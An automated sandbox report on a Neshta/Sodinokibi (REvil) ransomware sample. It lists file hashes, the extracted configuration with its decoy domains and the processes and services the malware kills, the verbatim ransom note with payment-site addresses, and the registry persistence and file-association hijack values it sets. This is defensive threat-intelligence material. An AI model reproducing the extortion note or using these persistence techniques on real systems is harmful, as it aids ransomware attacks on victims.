neshta | d186adf9bf8ae0b9759a2836f94597d6832f076bd03de9886181be53183d25de

General

Target

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
Size

222KB
MD5

42a2e208bc7721348699212bc5cf50e5
SHA1

15934add1f6f10bc50daa707bf8d02bb62edbdf7
SHA256

d186adf9bf8ae0b9759a2836f94597d6832f076bd03de9886181be53183d25de
SHA512

2549f5273ea6120dc18a97c1f59324e6e5696b15bf7f56a5c22c4d1c461fd6da200272aa58529b42a8e2ce6e8c8b1298030b38298bed9194b26882be8cb8cebb
SSDEEP

3072:sr85CIyyTsnAdu5tjgn/RRKwkwvMT3QE4f07YouoFhiLFrb30BRtBZZg+i2T:k9nyTsnXToKJw4gEWpoFuJ0BXScT

Score

10^/10

neshta sodinokibi $2a$10$sllr2wwgioxrdqlqdhya/or5zeu.wnumgc5rn/hhriobc1ekkciza 3181 persistence ransomware spyware stealer

Malware Config

Extracted

Family

sodinokibi

Botnet

$2a$10$SlLR2WWgiOxrDQLqdHYA/Or5zeu.wNuMGc5rN/HHrIObc1EkKCIZa

Campaign

3181

Decoy

vannesteconstruct.be

irishmachineryauctions.com

zervicethai.co.th

ymca-cw.org.uk

trystana.com

smessier.com

beautychance.se

sabel-bf.com

kafu.ch

aselbermachen.com

first-2-aid-u.com

finediningweek.pl

berlin-bamboo-bikes.org

lbcframingelectrical.com

augenta.com

abitur-undwieweiter.de

digi-talents.com

wellplast.se

conasmanagement.de

simpkinsedwards.co.uk

Attributes

net
true
pid
$2a$10$SlLR2WWgiOxrDQLqdHYA/Or5zeu.wNuMGc5rN/HHrIObc1EkKCIZa
prc
agntsvc
wordpad
onenote
mydesktopqos
mydesktopservice
thunderbird
winword
excel
visio
isqlplussvc
dbeng50
encsvc
steam
mspub
firefox
outlook
dbsnmp
ocautoupds
xfssvccon
tbirdconfig
msaccess
ocomm
sqbcoreservice
sql
ocssd
oracle
infopath
synctime
thebat
powerpnt
ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
sub
3181
svc
svc$
backup
vss
sophos
memtas
sql
mepocs
veeam

Extracted

Path

C:\Users\69r5t5847-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 69r5t5847. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0E049F2593381959 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/0E049F2593381959 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: WagjeJS1focIfZecMPkqi0yz+a30S6HEHF55ez6iWPhuOxa5Xhk6JeFoDqbHYrj4 ksV4e6UR5m3rDv0vNJU1VHbGke+zrWJNi7U6KoVotuDbe3ORjrfDkhOJGWeXQrcZ o8hNI45q+serV/KGTUoHItEhBCLau/S+x7524rxSWzUBW/a2vKtsFdtcGAm9/4Xu N7FpAbZU9hOY0h+fCrxuAz0ttQ0Z4jxn0QAnnaq6bxE3G9zo+/LS3wx5sVwPNnNs Co0+uXM6saQ85i9NTzuE8O7bA/M+7UIqaplRlT94M1uHeCLnEpKUcMRGxXGmJuc9 k+NMiiQozg230AOE48sELhe76wql6VQcl2oZ0Vp0FI7Ma2muZwqo6lB3Xlncaowt oTcoraiFVNK1ippx08qZtbUl8Uv5Zm4o9YLuqeivHbOWd5t6yPpblmrSN6OjPCET 2SFn5W8s9d4szmQlqhwtxNVz3ef7H6rvyCRbVCSuL+fqotKGzBCzz0siZW58wsKB 9e1/2yVzVo9IU54zdz/4d8HF6wDhfgzs3X2jnXNLt4YLNC3u2Ah78cEb0FZGh4PN HQGWY8SKd8MIIY9PZVklh584B2zH01VBpsTxqz8EwGR8lygYffylFCvyR8mTfa9M BxHlAzv52QwvDUcYQ7MDxTI1ZsS10E+b1cYiyXTCViOwkBmZc+Xf3kap9PHEPP3w LiTQYFh3tle56/0+epJY46/mFAuVJhPzBGkzKi1w+oP5npcFvGDWHfh8iQ4f+oaO C6F4wNRlw6MggJEiSnO4kMRKB3OWvKx24sgJVlmZlIAi5gD4wioxmCt2kW/bGQkL o7BJcoCs/wQQnaxv5+lC6RTGodk9HKaqiTPq1K1Uq7hGOsNMvjRv57Hoi0/eJuqK OqmETtNn6xrk0x8fbRsih4FrEzbH9XIMuBn3ysVeEhXpi7i2BAc5cT0ZUGHtdaP9 qfm7fCbRigEueeW71Plt7BnW2S4H8Aem/U8Z6/NUCJxT0uvXKtN+4fLmcyIZVZi2 bzI6YOmR4NW0Yn/+nMYbxk5Es84XbsXaj90vYSGOPS3ncWuylxfu5BofgqHNpfqb Tp6gby3FlT2uvRinzimkKAVkMf25uvBVyQ4vVZ/lPTBN9xW/sQZjtvq4aIzL1DYi 6wL9i7HIL0EIk9eYVls1cbc+W8ohRuFDOoOMWkYWIfEEFFdAPhPnZiJN/Xd+eXMl GNMOoPGra17Gef7p5C5PYTRvcejfKM7Ojyxm0lCY4+walswlNwEk5UyqKDKFOgxy w5gq630//pJ2eZxIbZOfCQ/xwKzeBNGb+i5zHnJEXQ5suEHscRyyn8NrDaz/MIpb MZi7WJEKCmg9X4YbViyqj7xOR3ycG3Wg81e+ekMI54oaHaKfaVE= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0E049F2593381959

http://decryptor.cc/0E049F2593381959

Signatures

Detect Neshta payload 3 IoCs

Processes:

resource	yara_rule
C:\MSOCache\ALLUSE~1\{90140~1\dwtrig20.exe	family_neshta
behavioral1/memory/836-729-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral1/memory/836-768-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta

Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Executes dropped EXE 1 IoCs

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

pid process

3064 42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

pid	process
3064	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Loads dropped DLL 3 IoCs

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

pid	process
836	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
836	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
836	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3582-490\\42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe"	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

description	ioc	process
File opened (read-only)	\??\Z:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\F:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\A:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\B:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\J:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\P:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\V:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\E:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\G:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\K:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\Q:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\T:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\D:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\M:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\O:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\U:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\L:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\W:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\X:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\H:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\Y:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\R:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\S:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\I:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\N:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Drops file in System32 directory 1 IoCs

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt 42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\mrt1.bmp"	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Drops file in Program Files directory 64 IoCs

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

description	ioc	process
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Resource\Icons\SC_REA~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\MSOXMLED.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOHTMED.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmlaunch.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WritePop.gif	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\EQUATION\EQNEDT32.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOUC.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{61087~1\VCREDI~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ReceiveUnlock.rmi	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSTORE.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ONENOTE.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\ImagingDevices.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\PingResume.css	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\SOURCE~1\OSE.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOF5E2~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\CNFNOT32.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpconfig.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DisconnectEdit.jfif	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\EnterExit.php	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\Updater6\ADOBE_~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\ink\mip.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\CLVIEW.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOSYNC.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ONENOTEM.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SearchUnpublish.i64	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\SETUPF~1\{AC76B~1\Setup.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\XLICONS.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~1\wabmig.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RenameClose.xls	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\69r5t5847-readme.txt	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\AcroRd32.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File created	\??\c:\program files (x86)\69r5t5847-readme.txt	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\POWERPNT.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\setup_wm.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmprph.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\BCSSync.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\Setup.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOBD5D~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\GRAPH.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\NAMECO~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RestoreFormat.jpeg	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SkipOut.001	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\TestSplit.raw	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GO664E~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\VPREVIEW.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\WORDICON.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WI54FB~1\wmplayer.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\BackupProtect.xht	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ProtectShow.mpeg2	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\Updater6\ADOBEU~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\DW\DWTRIG20.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~4.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\misc.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{4D8DC~1\VC_RED~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\AssertSave.jpeg	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~3.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Drops file in Windows directory 1 IoCs

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

description ioc process

File opened for modification C:\Windows\svchost.com 42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\svchost.com	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Modifies registry class 1 IoCs

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exepowershell.exe

pid process

3064 42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
3056 powershell.exe

pid	process
3064	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
3056	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	3064	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeBackupPrivilege	1872	vssvc.exe
Token: SeRestorePrivilege	1872	vssvc.exe
Token: SeAuditPrivilege	1872	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

description	pid	process	target process
PID 836 wrote to memory of 3064	836	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
PID 836 wrote to memory of 3064	836	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
PID 836 wrote to memory of 3064	836	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
PID 836 wrote to memory of 3064	836	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
PID 3064 wrote to memory of 3056	3064	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	powershell.exe
